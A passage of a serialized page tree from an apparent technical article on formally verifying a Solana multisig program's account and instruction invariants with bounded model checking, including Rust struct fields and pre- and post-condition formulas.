u16",{"type":22,"tag":118,"props":22988,"children":22989},{"style":210},[22990],{"type":28,"value":1190},{"type":22,"tag":118,"props":22992,"children":22993},{"style":131},[22994],{"type":28,"value":22995},"MAX",{"type":22,"tag":118,"props":22997,"children":22998},{"style":146},[22999],{"type":28,"value":10829},{"type":22,"tag":118,"props":23001,"children":23002},{"style":131},[23003],{"type":28,"value":3946},{"type":22,"tag":118,"props":23005,"children":23006},{"style":125},[23007],{"type":28,"value":3665},{"type":22,"tag":118,"props":23009,"children":23010},{"class":120,"line":244},[23011,23015,23019,23023,23028,23032],{"type":22,"tag":118,"props":23012,"children":23013},{"style":210},[23014],{"type":28,"value":3261},{"type":22,"tag":118,"props":23016,"children":23017},{"style":125},[23018],{"type":28,"value":22960},{"type":22,"tag":118,"props":23020,"children":23021},{"style":210},[23022],{"type":28,"value":292},{"type":22,"tag":118,"props":23024,"children":23025},{"style":125},[23026],{"type":28,"value":23027},"threshold ",{"type":22,"tag":118,"props":23029,"children":23030},{"style":210},[23031],{"type":28,"value":11942},{"type":22,"tag":118,"props":23033,"children":23034},{"style":125},[23035],{"type":28,"value":23036}," 1)\n",{"type":22,"tag":118,"props":23038,"children":23039},{"class":120,"line":253},[23040,23044,23048,23052,23056,23060,23064,23068,23072,23076,23080,23084],{"type":22,"tag":118,"props":23041,"children":23042},{"style":210},[23043],{"type":28,"value":3261},{"type":22,"tag":118,"props":23045,"children":23046},{"style":125},[23047],{"type":28,"value":22960},{"type":22,"tag":118,"props":23049,"children":23050},{"style":210},[23051],{"type":28,"value":292},{"type":22,"tag":118,"props":23053,"children":23054},{"style":125},[23055],{"type":28,"value":23027},{"type":22,"tag":118,"props":23057,"children":23058},{"style":146},[23059],{"type":28,"value":1215},{"type":22,"tag":118,"props":23061,"children":23062},{"style":131},[23063],{"type":28,"value":3946},{"type":22,"tag":118,"props":23065,"children":23066},{"style":210},[23067],{"type":28,"value":1798},{"type":22,"tag":118,"props":23069,"children":23070},{"style":125},[23071],{"type":28,"value":2100},{"type":22,"tag":118,"props":23073,"children":23074},{"style":210},[23075],{"type":28,"value":292},{"type":22,"tag":118,"props":23077,"children":23078},{"style":125},[23079],{"type":28,"value":22939},{"type":22,"tag":118,"props":23081,"children":23082},{"style":210},[23083],{"type":28,"value":292},{"type":22,"tag":118,"props":23085,"children":23086},{"style":125},[23087],{"type":28,"value":23088},"len())\n",{"type":22,"tag":118,"props":23090,"children":23091},{"class":120,"line":263},[23092],{"type":22,"tag":118,"props":23093,"children":23094},{"style":125},[23095],{"type":28,"value":139},{"type":22,"tag":118,"props":23097,"children":23098},{"class":120,"line":318},[23099,23103,23107,23112],{"type":22,"tag":118,"props":23100,"children":23101},{"style":146},[23102],{"type":28,"value":149},{"type":22,"tag":118,"props":23104,"children":23105},{"style":146},[23106],{"type":28,"value":154},{"type":22,"tag":118,"props":23108,"children":23109},{"style":131},[23110],{"type":28,"value":23111}," Ms",{"type":22,"tag":118,"props":23113,"children":23114},{"style":125},[23115],{"type":28,"value":1474},{"type":22,"tag":118,"props":23117,"children":23118},{"class":120,"line":351},[23119,23123,23128,23132,23136,23141],{"type":22,"tag":118,"props":23120,"children":23121},{"style":146},[23122],{"type":28,"value":201},{"type":22,"tag":118,"props":23124,"children":23125},{"style":204},[23126],{"type":28,"value":23127}," threshold",{"type":22,"tag":118,"props":23129,"children":23130},{"style":210},[23131],{"type":28,"value":213},{"type":22,"tag":118,"props":23133,"children":23134},{"style":131},[23135],{"type":28,"value":22986},{"type":22,"tag":118,"props":23137,"children":23138},{"style":125},[23139],{"type":28,"value":23140},",               ",{"type":22,"tag":118,"props":23142,"children":23143},{"style":257},[23144],{"type":28,"value":23145},"// threshold for signatures\n",{"type":22,"tag":118,"props":23147,"children":23148},{"class":120,"line":359},[23149,23153,23158,23162,23166,23171],{"type":22,"tag":118,"props":23150,"children":23151},{"style":146},[23152],{"type":28,"value":201},{"type":22,"tag":118,"props":23154,"children":23155},{"style":204},[23156],{"type":28,"value":23157}," authority_index",{"type":22,"tag":118,"props":23159,"children":23160},{"style":210},[23161],{"type":28,"value":213},{"type":22,"tag":118,"props":23163,"children":23164},{"style":131},[23165],{"type":28,"value":22986},{"type":22,"tag":118,"props":23167,"children":23168},{"style":125},[23169],{"type":28,"value":23170},",         ",{"type":22,"tag":118,"props":23172,"children":23173},{"style":257},[23174],{"type":28,"value":23175},"// index to seed other authorities under this multisig\n",{"type":22,"tag":118,"props":23177,"children":23178},{"class":120,"line":368},[23179,23183,23188,23192,23196,23201],{"type":22,"tag":118,"props":23180,"children":23181},{"style":146},[23182],{"type":28,"value":201},{"type":22,"tag":118,"props":23184,"children":23185},{"style":204},[23186],{"type":28,"value":23187}," transaction_index",{"type":22,"tag":118,"props":23189,"children":23190},{"style":210},[23191],{"type":28,"value":213},{"type":22,"tag":118,"props":23193,"children":23194},{"style":131},[23195],{"type":28,"value":19514},{"type":22,"tag":118,"props":23197,"children":23198},{"style":125},[23199],{"type":28,"value":23200},",       ",{"type":22,"tag":118,"props":23202,"children":23203},{"style":257},[23204],{"type":28,"value":23205},"// look up and seed reference for transactions\n",{"type":22,"tag":118,"props":23207,"children":23208},{"class":120,"line":384},[23209,23213,23218,23222,23226,23230],{"type":22,"tag":118,"props":23210,"children":23211},{"style":146},[23212],{"type":28,"value":201},{"type":22,"tag":118,"props":23214,"children":23215},{"style":204},[23216],{"type":28,"value":23217}," ms_change_index",{"type":22,"tag":118,"props":23219,"children":23220},{"style":210},[23221],{"type":28,"value":213},{"type":22,"tag":118,"props":23223,"children":23224},{"style":131},[23225],{"type":28,"value":19514},{"type":22,"tag":118,"props":23227,"children":23228},{"style":125},[23229],{"type":28,"value":23170},{"type":22,"tag":118,"props":23231,"children":23232},{"style":257},[23233],{"type":28,"value":23234},"// the last executed/closed transaction\n",{"type":22,"tag":118,"props":23236,"children":23237},{"class":120,"line":417},[23238,23242,23247,23251,23255,23260],{"type":22,"tag":118,"props":23239,"children":23240},{"style":146},[23241],{"type":28,"value":201},{"type":22,"tag":118,"props":23243,"children":23244},{"style":204},[23245],{"type":28,"value":23246}," bump",{"type":22,"tag":118,"props":23248,"children":23249},{"style":210},[23250],{"type":28,"value":213},{"type":22,"tag":118,"props":23252,"children":23253},{"style":131},[23254],{"type":28,"value":16614},{"type":22,"tag":118,"props":23256,"children":23257},{"style":125},[23258],{"type":28,"value":23259},",                     ",{"type":22,"tag":118,"props":23261,"children":23262},{"style":257},[23263],{"type":28,"value":23264},"// bump for the multisig seed\n",{"type":22,"tag":118,"props":23266,"children":23267},{"class":120,"line":425},[23268,23272,23277,23281,23285,23290],{"type":22,"tag":118,"props":23269,"children":23270},{"style":146},[23271],{"type":28,"value":201},{"type":22,"tag":118,"props":23273,"children":23274},{"style":204},[23275],{"type":28,"value":23276}," create_key",{"type":22,"tag":118,"props":23278,"children":23279},{"style":210},[23280],{"type":28,"value":213},{"type":22,"tag":118,"props":23282,"children":23283},{"style":131},[23284],{"type":28,"value":2806},{"type":22,"tag":118,"props":23286,"children":23287},{"style":125},[23288],{"type":28,"value":23289},",           ",{"type":22,"tag":118,"props":23291,"children":23292},{"style":257},[23293],{"type":28,"value":23294},"// random key(or not) used to seed the multisig pda\n",{"type":22,"tag":118,"props":23296,"children":23297},{"class":120,"line":441},[23298,23302,23307,23311,23315,23319],{"type":22,"tag":118,"props":23299,"children":23300},{"style":146},[23301],{"type":28,"value":201},{"type":22,"tag":118,"props":23303,"children":23304},{"style":204},[23305],{"type":28,"value":23306}," allow_external_execute",{"type":22,"tag":118,"props":23308,"children":23309},{"style":210},[23310],{"type":28,"value":213},{"type":22,"tag":118,"props":23312,"children":23313},{"style":131},[23314],{"type":28,"value":1469},{"type":22,"tag":118,"props":23316,"children":23317},{"style":125},[23318],{"type":28,"value":231},{"type":22,"tag":118,"props":23320,"children":23321},{"style":257},[23322],{"type":28,"value":23323},"// allow non-member keys to execute txs\n",{"type":22,"tag":118,"props":23325,"children":23326},{"class":120,"line":475},[23327,23331,23336,23340,23345,23349,23353,23358],{"type":22,"tag":118,"props":23328,"children":23329},{"style":146},[23330],{"type":28,"value":201},{"type":22,"tag":118,"props":23332,"children":23333},{"style":204},[23334],{"type":28,"value":23335}," keys",{"type":22,"tag":118,"props":23337,"children":23338},{"style":210},[23339],{"type":28,"value":213},{"type":22,"tag":118,"props":23341,"children":23342},{"style":131},[23343],{"type":28,"value":23344}," Vec",{"type":22,"tag":118,"props":23346,"children":23347},{"style":125},[23348],{"type":28,"value":559},{"type":22,"tag":118,"props":23350,"children":23351},{"style":131},[23352],{"type":28,"value":2892},{"type":22,"tag":118,"props":23354,"children":23355},{"style":125},[23356],{"type":28,"value":23357},">,            ",{"type":22,"tag":118,"props":23359,"children":23360},{"style":257},[23361],{"type":28,"value":23362},"// keys of the members\n",{"type":22,"tag":118,"props":23364,"children":23365},{"class":120,"line":484},[23366],{"type":22,"tag":118,"props":23367,"children":23368},{"style":125},[23369],{"type":28,"value":481},{"type":22,"tag":31,"props":23371,"children":23372},{},[23373],{"type":28,"value":23374},"Here we are verifying multiple things at once:",{"type":22,"tag":64,"props":23376,"children":23377},{},[23378,23389,23400,23411],{"type":22,"tag":68,"props":23379,"children":23380},{},[23381,23387],{"type":22,"tag":114,"props":23382,"children":23384},{"className":23383},[],[23385],{"type":28,"value":23386},"!self.keys.is_empty()",{"type":28,"value":23388}," : ensure there is at least one member",{"type":22,"tag":68,"props":23390,"children":23391},{},[23392,23398],{"type":22,"tag":114,"props":23393,"children":23395},{"className":23394},[],[23396],{"type":28,"value":23397},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":23399}," : set an upper limit of 65535 members",{"type":22,"tag":68,"props":23401,"children":23402},{},[23403,23409],{"type":22,"tag":114,"props":23404,"children":23406},{"className":23405},[],[23407],{"type":28,"value":23408},"self.threshold >= 1",{"type":28,"value":23410}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":22,"tag":68,"props":23412,"children":23413},{},[23414,23420],{"type":22,"tag":114,"props":23415,"children":23417},{"className":23416},[],[23418],{"type":28,"value":23419},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":23421}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":22,"tag":23,"props":23423,"children":23425},{"id":23424},"verification-how-do-we-check-that-our-model-is-correct",[23426],{"type":28,"value":23427},"Verification: How do we check that our model is correct?",{"type":22,"tag":31,"props":23429,"children":23430},{},[23431,23433,23437,23439,23444],{"type":28,"value":23432},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":22,"tag":4764,"props":23434,"children":23435},{},[23436],{"type":28,"value":21936},{"type":28,"value":23438}," on which we can run bounded model checking. Our tool does this ",{"type":22,"tag":4764,"props":23440,"children":23441},{},[23442],{"type":28,"value":23443},"automagically",{"type":28,"value":23445}," for anchor-lang programs.",{"type":22,"tag":31,"props":23447,"children":23448},{},[23449,23451,23457,23459,23464,23466,23471,23472,23477,23479,23484,23486,23491,23492,23498,23500,23506,23507,23513],{"type":28,"value":23450},"Specifically, for a given ",{"type":22,"tag":114,"props":23452,"children":23454},{"className":23453},[],[23455],{"type":28,"value":23456},"Context\u003CT>",{"type":28,"value":23458}," with ",{"type":22,"tag":4764,"props":23460,"children":23461},{},[23462],{"type":28,"value":23463},"incoming",{"type":28,"value":23465}," accounts of types (",{"type":22,"tag":114,"props":23467,"children":23469},{"className":23468},[],[23470],{"type":28,"value":22700},{"type":28,"value":888},{"type":22,"tag":114,"props":23473,"children":23475},{"className":23474},[],[23476],{"type":28,"value":188},{"type":28,"value":23478},") and ",{"type":22,"tag":4764,"props":23480,"children":23481},{},[23482],{"type":28,"value":23483},"outgoing",{"type":28,"value":23485}," accounts of type (",{"type":22,"tag":114,"props":23487,"children":23489},{"className":23488},[],[23490],{"type":28,"value":188},{"type":28,"value":888},{"type":22,"tag":114,"props":23493,"children":23495},{"className":23494},[],[23496],{"type":28,"value":23497},"close",{"type":28,"value":23499},") we define a ",{"type":22,"tag":114,"props":23501,"children":23503},{"className":23502},[],[23504],{"type":28,"value":23505},"pre_condition",{"type":28,"value":12991},{"type":22,"tag":114,"props":23508,"children":23510},{"className":23509},[],[23511],{"type":28,"value":23512},"post_condition",{"type":28,"value":23514}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":22,"tag":31,"props":23516,"children":23517},{},[23518],{"type":22,"tag":114,"props":23519,"children":23521},{"className":23520},[5995,5996],[23522],{"type":22,"tag":118,"props":23523,"children":23525},{"className":23524},[6001],[23526],{"type":22,"tag":118,"props":23527,"children":23529},{"className":23528,"ariaHidden":6007},[6006],[23530,23566],{"type":22,"tag":118,"props":23531,"children":23533},{"className":23532},[6012],[23534,23539,23547,23552,23556,23562],{"type":22,"tag":118,"props":23535,"children":23538},{"className":23536,"style":23537},[6017],"height:0.6833em;",[],{"type":22,"tag":118,"props":23540,"children":23544},{"className":23541,"style":23543},[6023,23542],"mathnormal","margin-right:0.13889em;",[23545],{"type":28,"value":23546},"P",{"type":22,"tag":118,"props":23548,"children":23550},{"className":23549},[6023],[23551],{"type":28,"value":6036},{"type":22,"tag":118,"props":23553,"children":23555},{"className":23554,"style":6202},[6104],[],{"type":22,"tag":118,"props":23557,"children":23559},{"className":23558},[6207],[23560],{"type":28,"value":23561},":=",{"type":22,"tag":118,"props":23563,"children":23565},{"className":23564,"style":6202},[6104],[],{"type":22,"tag":118,"props":23567,"children":23569},{"className":23568},[6012],[23570,23575,23715,23719],{"type":22,"tag":118,"props":23571,"children":23574},{"className":23572,"style":23573},[6017],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":22,"tag":118,"props":23576,"children":23579},{"className":23577},[23578],"mop",[23580,23589],{"type":22,"tag":118,"props":23581,"children":23586},{"className":23582,"style":23585},[23578,23583,23584],"op-symbol","small-op","position:relative;top:0em;",[23587],{"type":28,"value":23588},"⋀",{"type":22,"tag":118,"props":23590,"children":23592},{"className":23591},[6040],[23593],{"type":22,"tag":118,"props":23594,"children":23597},{"className":23595},[6045,23596],"vlist-t2",[23598,23703],{"type":22,"tag":118,"props":23599,"children":23601},{"className":23600},[6050],[23602,23696],{"type":22,"tag":118,"props":23603,"children":23606},{"className":23604,"style":23605},[6055],"height:0.2253em;",[23607],{"type":22,"tag":118,"props":23608,"children":23610},{"style":23609},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[23611,23615],{"type":22,"tag":118,"props":23612,"children":23614},{"className":23613,"style":6065},[6064],[],{"type":22,"tag":118,"props":23616,"children":23618},{"className":23617},[6070,6071,6072,6073],[23619],{"type":22,"tag":118,"props":23620,"children":23622},{"className":23621},[6023,6073],[23623,23628,23634,23644,23650,23659,23668,23674,23679,23685,23690],{"type":22,"tag":118,"props":23624,"children":23626},{"className":23625},[6023,23542,6073],[23627],{"type":28,"value":42},{"type":22,"tag":118,"props":23629,"children":23631},{"className":23630},[6023,23542,6073],[23632],{"type":28,"value":23633},"cc",{"type":22,"tag":118,"props":23635,"children":23637},{"className":23636},[6104,6073],[23638],{"type":22,"tag":118,"props":23639,"children":23641},{"className":23640},[6073],[23642],{"type":28,"value":23643}," ",{"type":22,"tag":118,"props":23645,"children":23647},{"className":23646},[6207,6073],[23648],{"type":28,"value":23649},"∈",{"type":22,"tag":118,"props":23651,"children":23653},{"className":23652},[6104,6073],[23654],{"type":22,"tag":118,"props":23655,"children":23657},{"className":23656},[6073],[23658],{"type":28,"value":23643},{"type":22,"tag":118,"props":23660,"children":23662},{"className":23661},[6023,28,6073],[23663],{"type":22,"tag":118,"props":23664,"children":23666},{"className":23665},[6023,6073],[23667],{"type":28,"value":23463},{"type":22,"tag":118,"props":23669,"children":23672},{"className":23670},[23671,6073],"mopen",[23673],{"type":28,"value":540},{"type":22,"tag":118,"props":23675,"children":23677},{"className":23676},[6023,23542,6073],[23678],{"type":28,"value":5169},{"type":22,"tag":118,"props":23680,"children":23682},{"className":23681},[6023,23542,6073],[23683],{"type":28,"value":23684},"t",{"type":22,"tag":118,"props":23686,"children":23688},{"className":23687},[6023,23542,6073],[23689],{"type":28,"value":21243},{"type":22,"tag":118,"props":23691,"children":23694},{"className":23692},[23693,6073],"mclose",[23695],{"type":28,"value":3627},{"type":22,"tag":118,"props":23697,"children":23700},{"className":23698},[23699],"vlist-s",[23701],{"type":28,"value":23702},"​",{"type":22,"tag":118,"props":23704,"children":23706},{"className":23705},[6050],[23707],{"type":22,"tag":118,"props":23708,"children":23711},{"className":23709,"style":23710},[6055],"height:0.4747em;",[23712],{"type":22,"tag":118,"props":23713,"children":23714},{},[],{"type":22,"tag":118,"props":23716,"children":23718},{"className":23717,"style":6143},[6104],[],{"type":22,"tag":118,"props":23720,"children":23722},{"className":23721},[6023],[23723,23733,23738,23743,23748],{"type":22,"tag":118,"props":23724,"children":23726},{"className":23725},[6023,28],[23727],{"type":22,"tag":118,"props":23728,"children":23730},{"className":23729},[6023],[23731],{"type":28,"value":23732},"invariant",{"type":22,"tag":118,"props":23734,"children":23736},{"className":23735},[23671],[23737],{"type":28,"value":540},{"type":22,"tag":118,"props":23739,"children":23741},{"className":23740},[6023,23542],[23742],{"type":28,"value":42},{"type":22,"tag":118,"props":23744,"children":23746},{"className":23745},[6023,23542],[23747],{"type":28,"value":23633},{"type":22,"tag":118,"props":23749,"children":23751},{"className":23750},[23693],[23752],{"type":28,"value":3627},{"type":22,"tag":31,"props":23754,"children":23755},{},[23756],{"type":22,"tag":114,"props":23757,"children":23759},{"className":23758},[5995,5996],[23760],{"type":22,"tag":118,"props":23761,"children":23763},{"className":23762},[6001],[23764],{"type":22,"tag":118,"props":23765,"children":23767},{"className":23766,"ariaHidden":6007},[6006],[23768,23799],{"type":22,"tag":118,"props":23769,"children":23771},{"className":23770},[6012],[23772,23776,23781,23786,23790,23795],{"type":22,"tag":118,"props":23773,"children":23775},{"className":23774,"style":23537},[6017],[],{"type":22,"tag":118,"props":23777,"children":23779},{"className":23778,"style":23543},[6023,23542],[23780],{"type":28,"value":23546},{"type":22,"tag":118,"props":23782,"children":23784},{"className":23783},[6023],[23785],{"type":28,"value":6026},{"type":22,"tag":118,"props":23787,"children":23789},{"className":23788,"style":6202},[6104],[],{"type":22,"tag":118,"props":23791,"children":23793},{"className":23792},[6207],[23794],{"type":28,"value":23561},{"type":22,"tag":118,"props":23796,"children":23798},{"className":23797,"style":6202},[6104],[],{"type":22,"tag":118,"props":23800,"children":23802},{"className":23801},[6012],[23803,23807,23930,23934],{"type":22,"tag":118,"props":23804,"children":23806},{"className":23805,"style":23573},[6017],[],{"type":22,"tag":118,"props":23808,"children":23810},{"className":23809},[23578],[23811,23816],{"type":22,"tag":118,"props":23812,"children":23814},{"className":23813,"style":23585},[23578,23583,23584],[23815],{"type":28,"value":23588},{"type":22,"tag":118,"props":23817,"children":23819},{"className":23818},[6040],[23820],{"type":22,"tag":118,"props":23821,"children":23823},{"className":23822},[6045,23596],[23824,23919],{"type":22,"tag":118,"props":23825,"children":23827},{"className":23826},[6050],[23828,23914],{"type":22,"tag":118,"props":23829,"children":23831},{"className":23830,"style":23605},[6055],[23832],{"type":22,"tag":118,"props":23833,"children":23834},{"style":23609},[23835,23839],{"type":22,"tag":118,"props":23836,"children":23838},{"className":23837,"style":6065},[6064],[],{"type":22,"tag":118,"props":23840,"children":23842},{"className":23841},[6070,6071,6072,6073],[23843],{"type":22,"tag":118,"props":23844,"children":23846},{"className":23845},[6023,6073],[23847,23852,23857,23866,23871,23880,23889,23894,23899,23904,23909],{"type":22,"tag":118,"props":23848,"children":23850},{"className":23849},[6023,23542,6073],[23851],{"type":28,"value":42},{"type":22,"tag":118,"props":23853,"children":23855},{"className":23854},[6023,23542,6073],[23856],{"type":28,"value":23633},{"type":22,"tag":118,"props":23858,"children":23860},{"className":23859},[6104,6073],[23861],{"type":22,"tag":118,"props":23862,"children":23864},{"className":23863},[6073],[23865],{"type":28,"value":23643},{"type":22,"tag":118,"props":23867,"children":23869},{"className":23868},[6207,6073],[23870],{"type":28,"value":23649},{"type":22,"tag":118,"props":23872,"children":23874},{"className":23873},[6104,6073],[23875],{"type":22,"tag":118,"props":23876,"children":23878},{"className":23877},[6073],[23879],{"type":28,"value":23643},{"type":22,"tag":118,"props":23881,"children":23883},{"className":23882},[6023,28,6073],[23884],{"type":22,"tag":118,"props":23885,"children":23887},{"className":23886},[6023,6073],[23888],{"type":28,"value":23483},{"type":22,"tag":118,"props":23890,"children":23892},{"className":23891},[23671,6073],[23893],{"type":28,"value":540},{"type":22,"tag":118,"props":23895,"children":23897},{"className":23896},[6023,23542,6073],[23898],{"type":28,"value":5169},{"type":22,"tag":118,"props":23900,"children":23902},{"className":23901},[6023,23542,6073],[23903],{"type":28,"value":23684},{"type":22,"tag":118,"props":23905,"children":23907},{"className":23906},[6023,23542,6073],[23908],{"type":28,"value":21243},{"type":22,"tag":118,"props":23910,"children":23912},{"className":23911},[23693,6073],[23913],{"type":28,"value":3627},{"type":22,"tag":118,"props":23915,"children":23917},{"className":23916},[23699],[23918],{"type":28,"value":23702},{"type":22,"tag":118,"props":23920,"children":23922},{"className":23921},[6050],[23923],{"type":22,"tag":118,"props":23924,"children":23926},{"className":23925,"style":23710},[6055],[23927],{"type":22,"tag":118,"props":23928,"children":23929},{},[],{"type":22,"tag":118,"props":23931,"children":23933},{"className":23932,"style":6143},[6104],[],{"type":22,"tag":118,"props":23935,"children":23937},{"className":23936},[6023],[23938,23947,23952,23957,23962],{"type":22,"tag":118,"props":23939,"children":23941},{"className":23940},[6023,28],[23942],{"type":22,"tag":118,"props":23943,"children":23945},{"className":23944},[6023],[23946],{"type":28,"value":23732},{"type":22,"tag":118,"props":23948,"children":23950},{"className":23949},[23671],[23951],{"type":28,"value":540},{"type":22,"tag":118,"props":23953,"children":23955},{"className":23954},[6023,23542],[23956],{"type":28,"value":42},{"type":22,"tag":118,"props":23958,"children":23960},{"className":23959},[6023,23542],[23961],{"type":28,"value":23633},{"type":22,"tag":118,"props":23963,"children":23965},{"className":23964},[23693],[23966],{"type":28,"value":3627},{"type":22,"tag":31,"props":23968,"children":23969},{},[23970],{"type":28,"value":23971},"Our instruction invariants are represented as:",{"type":22,"tag":64,"props":23973,"children":23974},{},[23975,24011],{"type":22,"tag":68,"props":23976,"children":23977},{},[23978,24005,24006],{"type":22,"tag":114,"props":23979,"children":23981},{"className":23980},[5995,5996],[23982],{"type":22,"tag":118,"props":23983,"children":23985},{"className":23984},[6001],[23986],{"type":22,"tag":118,"props":23987,"children":23989},{"className":23988,"ariaHidden":6007},[6006],[23990],{"type":22,"tag":118,"props":23991,"children":23993},{"className":23992},[6012],[23994,23998],{"type":22,"tag":118,"props":23995,"children":23997},{"className":23996,"style":23537},[6017],[],{"type":22,"tag":118,"props":23999,"children":24002},{"className":24000,"style":24001},[6023,23542],"margin-right:0.05764em;",[24003],{"type":28,"value":24004},"S",{"type":28,"value":1319},{"type":22,"tag":114,"props":24007,"children":24009},{"className":24008},[],[24010],{"type":28,"value":22122},{"type":22,"tag":68,"props":24012,"children":24013},{},[24014,24040,24041],{"type":22,"tag":114,"props":24015,"children":24017},{"className":24016},[5995,5996],[24018],{"type":22,"tag":118,"props":24019,"children":24021},{"className":24020},[6001],[24022],{"type":22,"tag":118,"props":24023,"children":24025},{"className":24024,"ariaHidden":6007},[6006],[24026],{"type":22,"tag":118,"props":24027,"children":24029},{"className":24028},[6012],[24030,24034],{"type":22,"tag":118,"props":24031,"children":24033},{"className":24032,"style":23537},[6017],[],{"type":22,"tag":118,"props":24035,"children":24037},{"className":24036,"style":24001},[6023,23542],[24038],{"type":28,"value":24039},"E",{"type":28,"value":1319},{"type":22,"tag":114,"props":24042,"children":24044},{"className":24043},[],[24045],{"type":28,"value":22129},{"type":22,"tag":31,"props":24047,"children":24048},{},[24049,24051,24078,24080,24085,24087,24093],{"type":28,"value":24050},"And ",{"type":22,"tag":114,"props":24052,"children":24054},{"className":24053},[5995,5996],[24055],{"type":22,"tag":118,"props":24056,"children":24058},{"className":24057},[6001],[24059],{"type":22,"tag":118,"props":24060,"children":24062},{"className":24061,"ariaHidden":6007},[6006],[24063],{"type":22,"tag":118,"props":24064,"children":24066},{"className":24065},[6012],[24067,24071],{"type":22,"tag":118,"props":24068,"children":24070},{"className":24069,"style":23537},[6017],[],{"type":22,"tag":118,"props":24072,"children":24075},{"className":24073,"style":24074},[6023,23542],"margin-right:0.07153em;",[24076],{"type":28,"value":24077},"K",{"type":28,"value":24079}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":22,"tag":114,"props":24081,"children":24083},{"className":24082},[],[24084],{"type":28,"value":3236},{"type":28,"value":24086}," not an ",{"type":22,"tag":114,"props":24088,"children":24090},{"className":24089},[],[24091],{"type":28,"value":24092},"Err",{"type":28,"value":22702},{"type":22,"tag":31,"props":24095,"children":24096},{},[24097],{"type":28,"value":24098},"In order to verify these conditions we need to verify three cases:",{"type":22,"tag":1289,"props":24100,"children":24102},{"id":24101},"account-invariants-1",[24103],{"type":28,"value":24104},"Account invariants",{"type":22,"tag":31,"props":24106,"children":24107},{},[24108,24110,24141,24143,24173,24175,24205],{"type":28,"value":24109},"After we execute an instruction, either the function should error and be reverted (",{"type":22,"tag":114,"props":24111,"children":24113},{"className":24112},[5995,5996],[24114],{"type":22,"tag":118,"props":24115,"children":24117},{"className":24116},[6001],[24118],{"type":22,"tag":118,"props":24119,"children":24121},{"className":24120,"ariaHidden":6007},[6006],[24122],{"type":22,"tag":118,"props":24123,"children":24125},{"className":24124},[6012],[24126,24130,24136],{"type":22,"tag":118,"props":24127,"children":24129},{"className":24128,"style":23537},[6017],[],{"type":22,"tag":118,"props":24131,"children":24133},{"className":24132},[6023],[24134],{"type":28,"value":24135},"¬",{"type":22,"tag":118,"props":24137,"children":24139},{"className":24138,"style":24074},[6023,23542],[24140],{"type":28,"value":24077},{"type":28,"value":24142},") or the account post-invariants should hold (",{"type":22,"tag":114,"props":24144,"children":24146},{"className":24145},[5995,5996],[24147],{"type":22,"tag":118,"props":24148,"children":24150},{"className":24149},[6001],[24151],{"type":22,"tag":118,"props":24152,"children":24154},{"className":24153,"ariaHidden":6007},[6006],[24155],{"type":22,"tag":118,"props":24156,"children":24158},{"className":24157},[6012],[24159,24163,24168],{"type":22,"tag":118,"props":24160,"children":24162},{"className":24161,"style":23537},[6017],[],{"type":22,"tag":118,"props":24164,"children":24166},{"className":24165,"style":23543},[6023,23542],[24167],{"type":28,"value":23546},{"type":22,"tag":118,"props":24169,"children":24171},{"className":24170},[6023],[24172],{"type":28,"value":6026},{"type":28,"value":24174},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":22,"tag":114,"props":24176,"children":24178},{"className":24177},[5995,5996],[24179],{"type":22,"tag":118,"props":24180,"children":24182},{"className":24181},[6001],[24183],{"type":22,"tag":118,"props":24184,"children":24186},{"className":24185,"ariaHidden":6007},[6006],[24187],{"type":22,"tag":118,"props":24188,"children":24190},{"className":24189},[6012],[24191,24195,24200],{"type":22,"tag":118,"props":24192,"children":24194},{"className":24193,"style":23537},[6017],[],{"type":22,"tag":118,"props":24196,"children":24198},{"className":24197,"style":23543},[6023,23542],[24199],{"type":28,"value":23546},{"type":22,"tag":118,"props":24201,"children":24203},{"className":24202},[6023],[24204],{"type":28,"value":6036},{"type":28,"value":24206},") should hold since we will verify all of the functions eventually.",{"type":22,"tag":31,"props":24208,"children":24209},{},[24210,24212],{"type":28,"value":24211},"So we are trying to prove that ",{"type":22,"tag":114,"props":24213,"children":24215},{"className":24214},[5995,5996],[24216],{"type":22,"tag":118,"props":24217,"children":24219},{"className":24218},[6001],[24220],{"type":22,"tag":118,"props":24221,"children":24223},{"className":24222,"ariaHidden":6007},[6006],[24224,24261,24293],{"type":22,"tag":118,"props":24225,"children":24227},{"className":24226},[6012],[24228,24232,24237,24242,24247,24251,24257],{"type":22,"tag":118,"props":24229,"children":24231},{"className":24230,"style":6125},[6017],[],{"type":22,"tag":118,"props":24233,"children":24235},{"className":24234},[23671],[24236],{"type":28,"value":540},{"type":22,"tag":118,"props":24238,"children":24240},{"className":24239,"style":23543},[6023,23542],[24241],{"type":28,"value":23546},{"type":22,"tag":118,"props":24243,"children":24245},{"className":24244},[6023],[24246],{"type":28,"value":6036},{"type":22,"tag":118,"props":24248,"children":24250},{"className":24249,"style":6105},[6104],[],{"type":22,"tag":118,"props":24252,"children":24254},{"className":24253},[6110],[24255],{"type":28,"value":24256},"∧",{"type":22,"tag":118,"props":24258,"children":24260},{"className":24259,"style":6105},[6104],[],{"type":22,"tag":118,"props":24262,"children":24264},{"className":24263},[6012],[24265,24269,24274,24279,24283,24289],{"type":22,"tag":118,"props":24266,"children":24268},{"className":24267,"style":6125},[6017],[],{"type":22,"tag":118,"props":24270,"children":24272},{"className":24271,"style":24074},[6023,23542],[24273],{"type":28,"value":24077},{"type":22,"tag":118,"props":24275,"children":24277},{"className":24276},[23693],[24278],{"type":28,"value":3627},{"type":22,"tag":118,"props":24280,"children":24282},{"className":24281,"style":6202},[6104],[],{"type":22,"tag":118,"props":24284,"children":24286},{"className":24285},[6207],[24287],{"type":28,"value":24288},"→",{"type":22,"tag":118,"props":24290,"children":24292},{"className":24291,"style":6202},[6104],[],{"type":22,"tag":118,"props":24294,"children":24296},{"className":24295},[6012],[24297,24301,24306],{"type":22,"tag":118,"props":24298,"children":24300},{"className":24299,"style":23537},[6017],[],{"type":22,"tag":118,"props":24302,"children":24304},{"className":24303,"style":23543},[6023,23542],[24305],{"type":28,"value":23546},{"type":22,"tag":118,"props":24307,"children":24309},{"className":24308},[6023],[24310],{"type":28,"value":6026},{"type":22,"tag":31,"props":24312,"children":24313},{},[24314],{"type":28,"value":24315}